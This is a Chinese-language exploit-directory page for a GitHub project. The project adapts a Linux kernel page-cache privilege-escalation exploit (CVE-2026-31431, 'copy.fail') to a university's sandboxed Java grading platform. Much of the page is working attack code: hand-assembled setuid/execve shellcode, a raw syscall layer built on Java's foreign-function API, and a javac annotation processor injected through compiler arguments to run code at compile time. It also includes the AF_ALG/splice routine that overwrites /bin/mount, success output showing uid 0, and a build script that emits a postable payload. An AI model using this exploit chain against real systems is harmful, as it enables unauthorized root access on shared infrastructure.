Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Porting-CVE-2026-31431-Copy-Fail-to-a-Constrained-Java-Runner — CVE-2026-31431 (copy.fail) — 专为受限的 Java 执行环境适配,通过 FFM 系统调用层 + javac 注解处理器投递 | Kitploit
工具/GitHubGitHub/karollooool/porting-cve-2026-31431-copy-fail-to-a-constrained-java-runner
权限提升漏洞分析漏洞利用Shellcode渗透测试论文与研究学习与教育Payload 开发容器逃逸

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
二进制利用
GitHubkarollooool/porting-cve-2026-31431-copy-fail-to-a-constrained-java-runner

Porting-CVE-2026-31431-Copy-Fail-to-a-Constrained-Java-Runner

CVE-2026-31431 (copy.fail) — 专为受限的 Java 执行环境适配,通过 FFM 系统调用层 + javac 注解处理器投递

查看仓库网站
125天前尚未审核

在一个不想让我运行任何东西的 Java 环境中运行 CVE-2026-31431

先说致谢,因为这很重要。 该漏洞、利用技术以及原始利用代码都是 copy.fail 研究人员的工作成果。CVE-2026-31431 属于他们。这个 bug 不是我发现的。接下来要讲的是,我如何在一个人为锁死、以至于无法按原样运行其 Python 脚本的 Java 代码运行环境中,让他们的利用代码成功触发。我的贡献在于管道工程,而非原语本身。

TL;DR

我的大学 Java 作业平台会接收学生代码,用 javac 编译,然后在 Docker 容器中运行。经过第一轮试探(以及几个已报告的 bug 被修复)之后,容器被限制为只读根文件系统、seccomp 级别 2、AppArmor 强制模式、零 capabilities,只有 /tmp 和 /dev/shm 可写,且两者都挂载为 nosuid,nodev,noexec。没有原生编译器,没有可写的执行路径,没有 memfd_create,没有 process_vm_readv,没有 pidfd_getfd。

copy.fail 的利用代码需要一个可写的页缓存原语和一种投递 shellcode 的方式。两者都无法通过常规途径触达。于是我在 Java 中重建了整条投递链路:基于 Java 21 的外部函数与内存 API 构建的原始系统调用层、在构建时用 Python 汇编生成的 ELF payload,以及作为触发器的 javac 注解处理器。真正的实际工作由 copy.fail 的页缓存写入完成。最终结果是容器内 uid 0。

容器 root,而非宿主 root。这一点我会不止一次地强调,因为它决定了整件事的形态。

第一轮之后的环境

早期问题修复后,容器就是这个样子。

  • 用户 uid=100(runner)、gid=101(runner)。
  • CapEff: 0x0000000000000000。有效 capabilities 为零。
  • AppArmor docker-default (enforce)。
  • Seccomp 级别 2。
  • 根文件系统位于只读 overlay 上。
  • 可写路径:/tmp 和 /dev/shm,均以 nosuid,nodev,noexec 挂载。
  • 没有 Docker socket,没有外网出口,任何地方都没有可写的可执行路径。

这确实是一个让人非常难受的环境。大多数常规手段都已失效。你不能投放二进制文件,不能编译一个二进制,不能 memfd_create 创建后执行它,而仅有的几个可写目录又是 noexec。

但有一扇门虚掩着。runner 可以通过 sudo 调用一个特权沙箱包装器,它大致做了这样的事:

root@kitploit:~
/sbin/su-exec root setpriv --no-new-privs --inh-caps=-all "$@" &

所以你可以触达容器内的 uid 0,但只能在 NoNewPrivs=1 且 bounding set 被限制为 CAP_SETUID | CAP_SETGID 的情况下。受限的 root。名义上的 root,除此之外几乎什么都不是的 root。

"是 uid 0" 与 "能真正以 uid 0 的身份做任何事" 之间的那道鸿沟,正是 copy.fail 被设计来填平的。

copy.fail 实际做了什么(如果你还没读过的话)

原始利用代码滥用 Linux 的 AF_ALG socket,也就是内核加密 API。具体来说是 authencesn(hmac(sha256),cbc(aes)) 算法及其解密路径。该路径会写入一个内核临时缓冲区,而通过精心编排的一系列 sendmsg() 和 splice() 调用,你可以将这次写入引导到任意文件描述符的页缓存中。

页缓存在各挂载命名空间之间共享。所以,如果你写入某个 setuid 二进制的页缓存,比如 /bin/mount,然后对它执行 execve(),内核就会运行你篡改后的字节。setuid 位会让内核把文件属主 root 作为新进程的身份。这次篡改不是竞争条件,而是一次确定性的写入。这正是 copy.fail 之所以如此干净利落的全部原因。

原始 Python 代码优雅地完成了这一切。它只是假设你可以做几件我的环境拒绝让我做的事情:

  • memfd_create() 返回 EPERM。
  • process_vm_readv() 返回 EPERM。
  • pidfd_getfd() 返回 EPERM。
  • 提高 RLIMIT_CORE 返回 EPERM。
  • 编译并将 C 二进制上传到可执行路径:不存在可写的执行路径。

所以我无法运行他们的代码。我必须重建那些涉及这些原语的部分,以一种该环境能够容忍的形式。

我改了什么

共四部分。只有投递方式变了。页缓存写入本身仍是 copy.fail 的,系统调用逐条移植。

用 Python 构建、而非以二进制形式发布的 payload

原始版本使用预构建的 shellcode 数据块。我无法上传或执行二进制文件,所以 payload 在构建时由 Python 从零逐字节汇编,并序列化为十六进制。ELF 头、程序头和 shellcode 都在 build_payload() 中构造,并用 struct 打包。

shellcode 本身很短,并且直白地表达了自己的意图:

root@kitploit:~
code += b'\x48\xc7\xc0\x6a\x00\x00\x00'     # mov rax, 106 (setgid)
code += b'\x0f\x05'                          # syscall
code += b'\x48\xc7\xc0\x69\x00\x00\x00'     # mov rax, 105 (setuid)
code += b'\x0f\x05'                          # syscall
# ... jmp/call/pop to find "/bin/sh", build argv, execve ...

计划是 setgid(0)、setuid(0),然后 execve("/bin/sh", ["/bin/sh", "-c", "id"], NULL)。没有外部文件,没有上传步骤。十六进制字符串直接以字面量的形式写进 Java 源码,并在静态初始化器中解码。这绕开了整个"没有可写执行路径"的问题,因为 payload 从不接触磁盘。它先进入内存,再进入页缓存。

Java FFM 作为系统调用层:因为没有其他发起系统调用的办法

这是我最满意、同时也是写作时感觉最荒诞的部分。

我需要从容器内部发起原始系统调用,却没有任何办法编译或运行原生代码。Java 21 的外部函数与内存 API 允许你通过原生链接器直接调用 C 库的 syscall()。麻烦在于我不想依赖确切的模块路径,也不想依赖 FFM 处于预览状态,所以整个接线都通过对 java.lang.foreign.* 的反射完成。它找到原生链接器,查找 syscall 和 __errno_location,为 (long, long, long, long, long, long, long) -> long 构建一个 FunctionDescriptor,并返回一个 MethodHandle。

root@kitploit:~
static long sc(long n, long a, long b, long c, long d, long e, long f) throws Throwable {
    return (long) syscall.invokeWithArguments(n, a, b, c, d, e, f);
}

从此每个系统调用都只是 sc(NR, arg0, arg1, ...)。内存来自匿名 mmap(sc(9, 0, sz, 3, 0x22, -1, 0)),写入通过 /proc/self/mem 进行,读取也以同样的方式完成。没有 JNI,没有原生编译,除 JDK 外没有其他依赖。通过 /proc/self/mem 读写自己的内存,正是用来替代被该环境封锁的 process_vm_readv。

一个幸运的突破口:容器的 JVM 启动包装器已经传入了 --enable-native-access=ALL-UNNAMED。没有这个标志,FFM 会拒绝进行 downcall,我就只能束手无策了。他们在锁死其他一切之后,却在 JVM 这边留了一扇没锁的门。

注解处理器:真正的提权所在

这一步把"我能提交 Java"变成了"我能以受限 root 身份运行代码"。

该平台用 javac 编译学生提交的代码。javac 通过 -processor ClassName 支持注解处理器。处理器的 process() 方法在编译期间运行,与 javac 处于同一进程、拥有相同权限。提交端点还会在源文件中接受一个 @javac_args 文件,其内容会直接传给编译器。所以我可以把这样的参数交给 javac:

root@kitploit:~
-processor
RP
Trigger.java

而 RP.java,也就是我的注解处理器,会在编译时执行:

root@kitploit:~
@SupportedAnnotationTypes("*")
@SupportedSourceVersion(SourceVersion.RELEASE_21)
public class RP extends AbstractProcessor {
    public boolean process(Set<? extends TypeElement> ann, RoundEnvironment re) {
        if (done) return false; done = true;
        String out = run(<PRIVESC_CMD>,
                         "timeout", "55", "java",
                         "--enable-native-access=ALL-UNNAMED", "CopyFailV11");
        processingEnv.getMessager().printMessage(Diagnostic.Kind.ERROR, "CF11\n" + out);
        return false;
    }
}

处理器调用特权沙箱包装器,包装器以受限 root 身份运行 java CopyFailV11。随后利用代码就在那个受限 root 上下文中运行并完成页缓存覆写。编译错误消息也是我通过平台响应回传输出的方式,因为编译失败是再正常不过的现象。

完整的端到端链路:

  1. 提交源码:CopyFailV11.java、RP.java、Trigger.java 以及 @javac_args。
  2. javac 编译所有内容,触发注解处理器。
  3. 处理器调用特权包装器,包装器运行 java CopyFailV11。
  4. CopyFailV11 以受限 root 身份运行并执行页缓存覆写。

移植到 Java 系统调用的页缓存写入

这是 copy.fail 的原语,概念上未做改动,只是通过 Java 系统调用层来表达。payload 中每 4 个字节都需要一轮全新的 AF_ALG socket 流程:

root@kitploit:~
static int patch(int fd, int off, byte[] v) throws Throwable {
    long af = sc(41, 38, 5, 0, 0, 0, 0);              // socket(AF_ALG, SOCK_SEQPACKET, 0)
    // ... bind to authencesn(hmac(sha256),cbc(aes)), set 72-byte key, set authsize ...
    long of = sc(43, af, 0, 0, 0, 0, 0);              // accept -> operation socket

    // sendmsg with MSG_SPLICE_PAGES (0x8000) to trigger the page cache write
    sc(46, of, ma, 32768, 0, 0, 0);

    // pipe2 + two splice calls to move the data through
    sc(293, pa, 0, 0, 0, 0, 0);                       // pipe2
    sc(275, fd, oa, pw, 0, o, 0);                     // splice: file -> pipe write end
    sc(275, pr, 0, of, 0, o, 0);                      // splice: pipe read end -> AF_ALG op socket
    // ...
}

让这一切成立的关键——我想说清楚这不是我的洞见——在于 authencesn 的解密暂存写入路径,配合 MSG_SPLICE_PAGES 与 splice(),绕过了常规的写时复制语义,将字节直接落进目标文件描述符的页缓存。没有竞争条件。完全确定性。

目标选的是 /bin/mount。它是 setuid root,而且即使根文件系统是只读 overlay,它也存在于页缓存中。overlay 在磁盘上是只读的,页缓存并不是 overlay。

结果

root@kitploit:~
[+] CopyFailV11 starting
[+] Writing 54 chunks to /bin/mount page cache
[+] TEST_WRITE result=0
[+] AFTER_TEST_FIRST4=54455354   <-- "TEST" at offset 0, confirmed
[+] MATCH_COUNT=216/216          <-- all payload bytes in page cache
[+] Page cache mutated! Fork+exec /bin/mount...

CHILD_STATUS:
  Name:   mount
  Uid:    0  0  0  0
  Gid:    0  0  0  0
  CapEff: 00000000000000c0
  NoNewPrivs: 1
  Seccomp: 2

[+] EXPLOIT SUCCESS: Child ran as uid=0 gid=0 (ROOT)

字节落进了页缓存,子进程以 uid 0 和 gid 0 运行,并且该写入在多次运行中百分之百可靠。前四个字节是 54455354,也就是 ASCII 的 TEST,这是我在写入真正 payload 之前做的健全性检查写入。如果健全性写入出现在文件中,那么整次写入都会成功。

我没有做什么

核心漏洞完全属于 copy.fail。我没有发现 CVE-2026-31431,没有找到 AF_ALG 原语,也没有设计 sendmsg 加 splice 的技巧。我只是针对一个不存在任何常规辅助手段的环境适配了投递方式:

  • 没有可以编译或上传的原生二进制。
  • memfd_create、process_vm_readv 和 pidfd_getfd 全都被封锁。
  • 唯一可用的执行路径走的是 Java 编译器。

如果你想理解这一切为何能够成立,请阅读 copy.fail。这个仓库就是针对"好吧,但如果这个环境还拿走了你的编译器和你的 shellcode 文件呢"这个问题的回答。

局限性与如实说明

子进程继承了沙箱包装器施加的所有限制。页缓存写入并不会放宽其中任何一条。

  • NoNewPrivs: 1。无法获得更多权限。
  • CapEff: 0xc0。只有 CAP_SETUID 和 CAP_SETGID。
  • Seccomp: 2。系统调用过滤仍然生效。
  • docker-default AppArmor 仍然强制执行。

所以这是容器 root,而非宿主 root。从这个状态逃逸出容器是一个独立且更难的问题,而凭借 AppArmor 与内核加固,这个环境在封死这条路上做得相当好。我并不是在宣称实现了 Docker 逃逸。我要说的是,"受限 root" 实际上比配置原本预期的限制更少,因为 copy.fail 的原语并不需要真正的 capabilities,它只需要能够写入页缓存,而页缓存并不在乎你的 capability mask。

这一点值得深思。这个沙箱是围绕 root 能做什么来设计的。而该利用代码并不以 root 身份做任何事。它只是对某个文件做了一件事,而这个文件恰好是 setuid 的。

文件

  • copy_fail_java_runner.py。构建脚本。用 Python 汇编 ELF payload,将其嵌入生成的 Java 源码中,并写出可直接 POST 的 payload.json。运行前请在文件顶部配置目标主机、runner 端点和提权命令。
  • 运行时生成:CopyFailV11.java(利用代码与 FFM 系统调用层)、RP.java(注解处理器)、Trigger.java 和主类(占位源码,使编译结构完整)、javac_args(注入 -processor RP)以及 payload.json。

原始漏洞与技术:copy.fail,CVE-2026-31431。本项目是针对特定环境的移植,对底层漏洞不主张任何功劳。

下载工具